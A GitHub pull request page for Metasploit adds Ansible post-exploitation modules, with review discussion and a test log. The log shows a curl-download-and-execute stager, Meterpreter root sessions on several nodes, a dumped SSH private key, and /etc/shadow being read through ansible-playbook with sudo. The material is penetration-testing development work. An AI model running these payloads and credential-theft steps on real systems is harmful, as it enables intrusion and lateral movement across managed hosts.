Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ansible: post gather module, payload deployer, and file reader #18627

Merged
merged 7 commits into from
Jan 17, 2024

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Dec 17, 2023

This PR adds 3 modules for ansible:

  1. a post module to gather info, configs etc
  2. a post module which, when configured w/ passwordless sudo permissions, can read the first line of a file (like /etc/shadow)
  3. an exploit module which can deploy a payload to all the nodes in the network

This is part 2 of my new Raining Shells series raining blood

Verification

See individual markdowns for instructions

modules/exploits/linux/local/ansible_node_deployer.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/ansible_node_deployer.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/ansible_node_deployer.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/ansible_node_deployer.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/ansible_node_deployer.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/ansible_node_deployer.rb Outdated Show resolved Hide resolved
Copy link
Contributor

@bwatters-r7 bwatters-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I have a strong passion that any time code appears 3 times, it should go to a library; there are a couple of methods here that get called that magic number of times. It might be helpful to offload those to a library to make maintenance easier.

modules/exploits/linux/local/ansible_node_deployer.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/ansible_node_deployer.rb Outdated Show resolved Hide resolved
stime = Time.now.to_f
timeout = datastore['ListenerTimeout'].to_i
loop do
break if timeout > 0 && (stime + timeout < Time.now.to_f)
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Still curious about this loop condition...... why timeout > 0

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

discussion here: #18626 (comment)

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If a value of 0 means wait forever, I think this should be added to the documentation and the option description.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i like that idea.

modules/exploits/linux/local/ansible_node_deployer.rb Outdated Show resolved Hide resolved
modules/exploits/linux/local/ansible_node_deployer.rb Outdated Show resolved Hide resolved
modules/post/linux/gather/ansible.rb Outdated Show resolved Hide resolved
@cdelafuente-r7 cdelafuente-r7 self-assigned this Jan 9, 2024
Copy link
Contributor

@cdelafuente-r7 cdelafuente-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks @h00die for these great modules! I left a few comments for you to review when you get a chance.

lib/msf/core/exploit/local/ansible.rb Show resolved Hide resolved
lib/msf/core/exploit/local/ansible.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/local/ansible.rb Show resolved Hide resolved
lib/msf/core/exploit/local/ansible.rb Outdated Show resolved Hide resolved
lib/msf/core/exploit/local/ansible.rb Show resolved Hide resolved
modules/post/linux/gather/ansible.rb Show resolved Hide resolved
lib/msf/core/exploit/local/ansible.rb Outdated Show resolved Hide resolved
modules/post/linux/gather/ansible.rb Outdated Show resolved Hide resolved
modules/post/linux/gather/ansible.rb Outdated Show resolved Hide resolved
@h00die
Copy link
Contributor Author

h00die commented Jan 10, 2024

Took care of some of these, will look at the rest later. I'm also retroactively applying these to the saltstack PR as well.

@cdelafuente-r7
Copy link
Contributor

Thanks for updating this @h00die! This looks good to me now. I just found a small incomplete fix that I will ninja patch when landing this: next if exec.nil? || exec.blank? should be next if exec.blank?

I tested using the docker installation you described in the documentation and verified the three modules work as expected. I'll go ahead and land it. Thanks again for your contribution!

linux/local/ansible_node_deployer
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > set lhost 192.168.100.101
lhost => 192.168.100.101
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
[*] Started reverse TCP handler on 192.168.100.101:4444

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > generate -f raw
curl -so /tmp/LrTmlIjP http://192.168.100.101:8080/DETWAARvN-XS_WA2cHnmIg; chmod +x /tmp/LrTmlIjP; /tmp/LrTmlIjP &
msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) >
[*] Sending stage (3045380 bytes) to 192.168.100.101
[*] Meterpreter session 1 opened (192.168.100.101:4444 -> 192.168.100.101:57948) at 2024-01-17 14:22:50 +0100

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > sessions

Active sessions
===============

  Id  Name  Type                   Information        Connection
  --  ----  ----                   -----------        ----------
  1         meterpreter x64/linux  root @ 172.22.0.5  192.168.100.101:4444 -> 192.168.100.101:57948 (172.22.0.5)

msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/ansible_node_deployer
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ansible_node_deployer) > set session 1
session => 1
msf6 exploit(linux/local/ansible_node_deployer) > run verbose=true lhost=192.168.100.101 lport=9999
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.100.101:9999
msf6 exploit(linux/local/ansible_node_deployer) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. ansible playbook executable found
[+] Ansible Pings
=============

 Host                       Status   Ping  Changed
 ----                       ------   ----  -------
 alpine-example-com         SUCCESS  pong  false
 alpinesystemd-example-com  SUCCESS  pong  false
 centos7-example-com        SUCCESS  pong  false
 rhel8-example-com          SUCCESS  pong  false

[+] 4 ansible hosts were pingable, and will attempt to execute payload. If this isn't an expected volume (too many), ctr+c to halt execution. Pausing 10 seconds.
[*] Creating yaml job to execute
[*] Writing payload
[*] Writing '/tmp/PoIdx1o5xg' (250 bytes) ...
[*] Executing ansible job
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.100.101
[+] Deleted /tmp/PoIdx1o5xg
[*] Meterpreter session 2 opened (192.168.100.101:9999 -> 192.168.100.101:57963) at 2024-01-17 14:23:38 +0100
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.100.101
[*] Meterpreter session 3 opened (192.168.100.101:9999 -> 192.168.100.101:57964) at 2024-01-17 14:23:38 +0100
[+] Stored run logs to: /home/msfuser/.msf4/loot/20240117142344_default_172.22.0.5_ansible.playbook_965550.txt

msf6 payload(linux/local/ansible_node_deployer) > sessions

Active sessions
===============

  Id  Name  Type                   Information        Connection
  --  ----  ----                   -----------        ----------
  1         meterpreter x64/linux  root @ 172.22.0.5  192.168.100.101:4444 -> 192.168.100.101:57948 (172.22.0.5)
  2         meterpreter x64/linux  root @ 172.22.0.2  192.168.100.101:9999 -> 192.168.100.101:57963 (172.22.0.2)
  3         meterpreter x64/linux  root @ 172.22.0.3  192.168.100.101:9999 -> 192.168.100.101:57964 (172.22.0.3)

msf6 payload(linux/local/ansible_node_deployer) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer     : 172.22.0.2
OS           :  (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root
meterpreter > [*] Shutting down session: 2

[*] 172.22.0.2 - Meterpreter session 2 closed.  Reason: Died
msf6 payload(linux/local/ansible_node_deployer) > sessions -i 3
[*] Starting interaction with 3...

meterpreter > sysinfo
Computer     : 172.22.0.3
OS           :  (Linux 6.5.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root
meterpreter > [*] Shutting down session: 3
linux/gather/ansible
msf6 post(linux/gather/ansible) > set session 1
session => 1
msf6 post(linux/gather/ansible) > run verbose=true

[+] Stored inventory to: /home/msfuser/.msf4/loot/20240117145847_default_172.22.0.5_ansible.inventor_971304.json
[+] Ansible Hosts
=============

 Host                       Connection
 ----                       ----------
 alpine-example-com         ssh
 alpinesystemd-example-com  docker
 centos7-example-com        docker
 rhel8-example-com          docker

[+] Ansible Pings
=============

 Host                       Status   Ping  Changed
 ----                       ------   ----  -------
 alpine-example-com         SUCCESS  pong  false
 alpinesystemd-example-com  SUCCESS  pong  false
 centos7-example-com        SUCCESS  pong  false
 rhel8-example-com          SUCCESS  pong  false

[+] Stored config to: /home/msfuser/.msf4/loot/20240117145850_default_172.22.0.5_ansible.cfg_279384.txt
[+] Private key file location: /secrets/id_rsa
[+] Stored private key file to: /home/msfuser/.msf4/loot/20240117145850_default_172.22.0.5_ansible.private._385386.txt
[*] Post module execution completed
msf6 post(linux/gather/ansible) > cat /home/msfuser/.msf4/loot/20240117145850_default_172.22.0.5_ansible.private._385386.txt
[*] exec: cat /home/msfuser/.msf4/loot/20240117145850_default_172.22.0.5_ansible.private._385386.txt

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
msf6 post(linux/gather/ansible) > cat /home/msfuser/.msf4/loot/20240117145850_default_172.22.0.5_ansible.cfg_279384.txt
[*] exec: cat /home/msfuser/.msf4/loot/20240117145850_default_172.22.0.5_ansible.cfg_279384.txt

[defaults]

inventory = hosts
private_key_file = /secrets/id_rsa
host_key_checking = False
linux/gather/ansible_playbook_error_message_file_reader
msf6 post(linux/gather/ansible_playbook_error_message_file_reader) > set session 1
session => 1
msf6 post(linux/gather/ansible_playbook_error_message_file_reader) > run verbose=true

[*] Executing: /usr/local/bin/ansible-playbook /etc/shadow
[+] root:!::0:::::
[*] Post module execution completed

msf6 post(linux/gather/ansible_playbook_error_message_file_reader) > sessions -i 4
[*] Starting interaction with 4...

meterpreter > getuid
Server username: user
meterpreter > cat /etc/shadow
[-] core_channel_open: Operation failed: 1
meterpreter >
Background session 4? [y/N]
msf6 post(linux/gather/ansible_playbook_error_message_file_reader) > set session 4
session => 4
msf6 post(linux/gather/ansible_playbook_error_message_file_reader) > run verbose=true

[*] Checking sudo
[*] Executing: sudo -n -l
[+] System should be exploitable
[*] Executing: sudo -n /usr/local/bin/ansible-playbook /etc/shadow
[+] root:!::0:::::
[*] Post module execution completed

@cdelafuente-r7 cdelafuente-r7 added the rn-modules release notes for new or majorly enhanced modules label Jan 17, 2024
@cdelafuente-r7 cdelafuente-r7 merged commit 56a9beb into rapid7:master Jan 17, 2024
58 checks passed
@cdelafuente-r7
Copy link
Contributor

Release Notes

This adds 3 post exploitation modules for Ansible. The first one gathers information and configuration. The second exploits an arbitrary file read that enables an attacker to read the first line of a file (tipicaly /etc/shadow), when the compromised account is configured with password-less sudo permissions. The last one is an exploit that can deploy a payload to all the nodes in the network.

@h00die h00die deleted the ansible branch January 18, 2024 21:09
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
Archived in project
Development

Successfully merging this pull request may close these issues.

4 participants